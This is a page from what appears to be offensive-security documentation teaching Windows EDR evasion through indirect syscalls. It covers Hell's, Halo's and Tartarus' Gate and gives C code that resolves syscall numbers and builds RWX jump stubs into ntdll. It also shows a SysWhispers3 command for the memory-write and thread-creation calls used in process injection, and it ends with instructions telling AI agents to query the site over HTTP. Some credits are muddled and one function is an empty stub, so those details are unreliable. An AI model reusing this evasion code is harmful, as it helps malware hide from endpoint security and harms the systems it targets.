# Indirect Syscalls — Preserving a Legitimate Stack Trace

### Why Direct Syscalls Are Not Enough

Direct syscalls represent a significant step forward against EDRs that operate exclusively in userland. However, mature EDRs implement detection based on call stack analysis: when a syscall arrives at the kernel, the system can examine the process stack to verify that the call frames match what is expected.

In a legitimate execution, the frame sequence for a call like `NtAllocateVirtualMemory` would be:

```
┌─────────────────────────────────────────────────────────────────┐
│          Call Stack — Legitimate Execution                      │
│                                                                 │
│  [0] ntdll!NtAllocateVirtualMemory       ← expected frame      │
│  [1] KERNELBASE!VirtualAllocEx                                  │
│  [2] kernel32!VirtualAlloc                                      │
│  [3] MyApplication!main+0x42                                    │
│  [4] KERNEL32!BaseThreadInitThunk                               │
│                                                                 │
│          Call Stack — Direct Syscall (suspicious)               │
│                                                                 │
│  [0] MyApplication!syscall_stub+0x09    ← anomaly!             │
│  [1] MyApplication!inject+0x1A                                  │
│  [2] MyApplication!main+0x42                                    │
│                                                                 │
│  The ntdll frame is absent → EDR flags as suspicious.          │
└─────────────────────────────────────────────────────────────────┘
```

The `syscall` instruction occurs inside the attacker's code, and when the kernel performs stack unwinding during callbacks, the return address points outside `ntdll.dll`. This is a reliable indicator of compromise (IoC) for EDRs such as Cortex XDR and SentinelOne.

**Indirect syscalls** solve this problem: the `syscall` instruction executes within the legitimate address space of `ntdll.dll`, preserving the appearance of a normal call.

***

### The Concept of Indirect Syscall

The core idea is simple: instead of issuing the `syscall` instruction in our own code, we **jump directly to the `syscall; ret` inside ntdll's original stub**, after correctly setting up the SSN and arguments.

```
┌──────────────────────────────────────────────────────────────────┐
│              Indirect Syscall Mechanism                          │
│                                                                  │
│  Our code:                                                       │
│    1. mov r10, rcx           (syscall convention)               │
│    2. mov eax, <SSN>         (load syscall number)              │
│    3. jmp ntdll!NtXxx+0x12  (jump inside ntdll stub)            │
│                                                                  │
│  ntdll!NtXxx (stub hooked by EDR):                              │
│    +0x00: jmp [EDR_hook]     (hooked bytes — we skip this)      │
│    +0x05: ...                                                    │
│    +0x12: syscall            ← we land here                     │
│    +0x14: ret                                                    │
│                                                                  │
│  Call stack seen by kernel:                                      │
│    [0] ntdll!NtXxx+0x12      ← inside ntdll ✓                  │
│    [1] OurCode!stub+0x0F                                         │
└──────────────────────────────────────────────────────────────────┘
```

The EDR sees the `syscall` instruction executing from an address within `ntdll.dll` — exactly what would be expected in a legitimate execution.

***

### Finding the `syscall; ret` Offset in ntdll

The challenge is locating the exact offset of the `syscall; ret` pair within each function's stub. There are three scenarios:

1. **Unhooked stub**: Original bytes are intact. We can read `syscall; ret` at the default offset (+0x12 on x64).
2. **Stub hooked at the beginning (JMP)**: The first bytes were overwritten. The `syscall; ret` at subsequent offsets may still be intact.
3. **Completely overwritten stub**: We need to find `syscall; ret` in another clean stub and reuse that address.

#### Hell's Gate Strategy

[Hell's Gate](https://github.com/am0nsec/HellsGate) (by am0nsec and RtlMateusz) was the first public technique to dynamically resolve SSNs. The original logic reads the stub bytecode directly from memory.

**Limitation**: Fails when the stub is hooked (bytes were modified).

#### Halo's Gate Strategy

Halo's Gate extends Hell's Gate to handle hooked stubs: if the target stub is modified, it searches adjacent stubs (neighbors) in the export table — which may not be hooked — and uses their SSN as a reference, adding or subtracting the positional delta.

```c
// Halo's Gate concept — SSN resolution by adjacency
DWORD GetSsnHaloGate(const char* targetFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS  nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hNtdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)((BYTE*)hNtdll + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)hNtdll + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (char*)((BYTE*)hNtdll + names[i]);
        if (strcmp(name, targetFunc) != 0) continue;

        BYTE* fn = (BYTE*)hNtdll + funcs[ords[i]];

        // Intact stub? Read SSN directly
        if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 &&
            fn[3] == 0xB8) {
            return *(DWORD*)(fn + 4);
        }

        // Hooked stub — try neighbors
        for (DWORD delta = 1; delta < 10; delta++) {
            // Neighbor above
            BYTE* fn_up = (BYTE*)hNtdll + funcs[ords[i - delta]];
            if (fn_up[0] == 0x4C && fn_up[3] == 0xB8) {
                return *(DWORD*)(fn_up + 4) + delta;
            }
            // Neighbor below
            BYTE* fn_dn = (BYTE*)hNtdll + funcs[ords[i + delta]];
            if (fn_dn[0] == 0x4C && fn_dn[3] == 0xB8) {
                return *(DWORD*)(fn_dn + 4) - delta;
            }
        }
    }
    return 0;
}
```

#### Tartarus' Gate Strategy

Tartarus' Gate goes further: sorts all exports by address (RVA) and uses the index in the sorted list as the SSN — without depending on the bytecode. Works even when all stubs are hooked.

```c
typedef struct {
    PVOID address;
    DWORD index;  // After sorting, index == SSN
    char  name[128];
} EXPORT_ENTRY;

int CompareByAddress(const void* a, const void* b) {
    EXPORT_ENTRY* ea = (EXPORT_ENTRY*)a;
    EXPORT_ENTRY* eb = (EXPORT_ENTRY*)b;
    return (ea->address > eb->address) - (ea->address < eb->address);
}

DWORD GetSsnTartarus(const char* targetFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    // ... enumerate exports, filter Nt/Zw, sort by address ...
    // The index of the target function in the sorted list is its SSN
}
```

***

### Complete Indirect Syscall Implementation

```c
#include <windows.h>
#include <stdio.h>

// Find the address of 'syscall; ret' inside an ntdll stub
// Even if the stub is hooked at the start
PVOID FindSyscallInstruction(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   fn     = (PVOID)GetProcAddress(hNtdll, funcName);
    if (!fn) return NULL;

    // Search for 0F 05 C3 (syscall; ret) in the first 32 bytes of the stub
    BYTE* p = (BYTE*)fn;
    for (int i = 0; i < 32; i++) {
        if (p[i] == 0x0F && p[i+1] == 0x05 && p[i+2] == 0xC3) {
            return (PVOID)(p + i);
        }
    }
    return NULL;
}

// Indirect syscall stub generated at runtime
// Layout: mov r10,rcx | mov eax,SSN | jmp [syscall_addr]
typedef struct {
    BYTE  mov_r10_rcx[3];  // 4C 8B D1
    BYTE  mov_eax;         // B8
    DWORD ssn;             //    XX XX XX XX
    BYTE  jmp_rel32;       // E9
    DWORD jmp_offset;      //    XX XX XX XX (offset to syscall;ret in ntdll)
} INDIRECT_STUB;

PVOID BuildIndirectStub(DWORD ssn, PVOID syscallAddr) {
    INDIRECT_STUB* stub = VirtualAlloc(NULL, sizeof(INDIRECT_STUB),
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    if (!stub) return NULL;

    stub->mov_r10_rcx[0] = 0x4C;
    stub->mov_r10_rcx[1] = 0x8B;
    stub->mov_r10_rcx[2] = 0xD1;
    stub->mov_eax        = 0xB8;
    stub->ssn            = ssn;
    stub->jmp_rel32      = 0xE9;

    // Calculate relative offset for the jmp
    BYTE* afterJmp = (BYTE*)stub + sizeof(INDIRECT_STUB);
    stub->jmp_offset = (DWORD)((BYTE*)syscallAddr - afterJmp);

    return (PVOID)stub;
}

// Full usage example
int main(void) {
    DWORD ssn    = GetSsnTartarus("NtAllocateVirtualMemory");
    PVOID scAddr = FindSyscallInstruction("NtAllocateVirtualMemory");

    if (!ssn || !scAddr) {
        printf("[-] Failed to resolve SSN or syscall address\n");
        return 1;
    }

    printf("[+] SSN: %d | syscall @ 0x%p\n", ssn, scAddr);

    typedef NTSTATUS(WINAPI* NtAllocFn)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
    NtAllocFn NtAlloc = (NtAllocFn)BuildIndirectStub(ssn, scAddr);

    PVOID  base = NULL;
    SIZE_T sz   = 0x1000;
    NTSTATUS st = NtAlloc(
        (HANDLE)-1, &base, 0, &sz,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    printf("[+] NtAllocateVirtualMemory → 0x%p (status: 0x%08X)\n", base, st);
    return 0;
}
```

***

### SysWhispers3 with Indirect Syscalls

SysWhispers3 natively supports indirect syscalls via the `--method jumper` flag:

```bash
# Generate code with indirect syscalls
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method jumper \
    --out-file syscalls_indirect
```

The generated code includes the runtime logic for locating `syscall; ret` and guarantees the syscall instruction always executes within `ntdll.dll`.

***

### Technique Comparison

```
┌──────────────────────────────────────────────────────────────────────┐
│           Direct vs Indirect Syscalls — Comparative Analysis         │
│                                                                      │
│  Feature                 Direct Syscall    Indirect Syscall          │
│  ────────────────────    ──────────────    ────────────────          │
│  Bypasses EDR hooks      Yes               Yes                       │
│  Legitimate call stack   No                Yes                       │
│  Implementation effort   Low               Medium                    │
│  Dependency on ntdll     SSN only          SSN + syscall address     │
│  Works with full EDR     No                Partially                 │
│  Detectable by PG        No (userland)     No (userland)            │
│  Requires RWX page        Yes               Yes (stub)              │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Advanced Detection

More recent EDRs implement multiple layers of verification:

* **Return address validation**: Checks whether the syscall return address is in a memory region that belongs to a legitimate PE module.
* **CFG (Control Flow Guard)**: Jumping to addresses not registered as valid CFG targets generates an exception.
* **Kernel stack walking**: During `PsSetCreateThreadNotifyRoutine` and similar callbacks, the kernel walks the process stack to inspect frames.

The answer to this is **stack spoofing** — a separate technique that manipulates the call stack to make it appear the call originated from legitimate code. That topic is covered in depth in the Thread Stack Spoofing article.

***

### References

* am0nsec & RtlMateusz, "Hell's Gate" — github.com/am0nsec/HellsGate (2020)
* trickster0, "Halo's Gate" — github.com/trickster0/TartarusGate (2021)
* Paul Laîné, "Tartarus' Gate" — turtleseason.github.io (2021)
* klezVirus, "SysWhispers3 — Evasion using Indirect Syscalls" — github.com/klezVirus/SysWhispers3
* MDSec, "Bypassing EDR Hooks: Direct and Indirect Syscalls" — mdsec.co.uk
* WithSecure Labs, "Detecting Syscall Evasion" — labs.withsecure.com (2022)
* Elastic Security Labs, "Hunting for Syscall-based Evasion" — elastic.co/security-labs (2023)
* Alex Matrosov, "EDR Internals" — REcon 2022


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/indirect-syscalls-preserving-a-legitimate-stack-trace.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
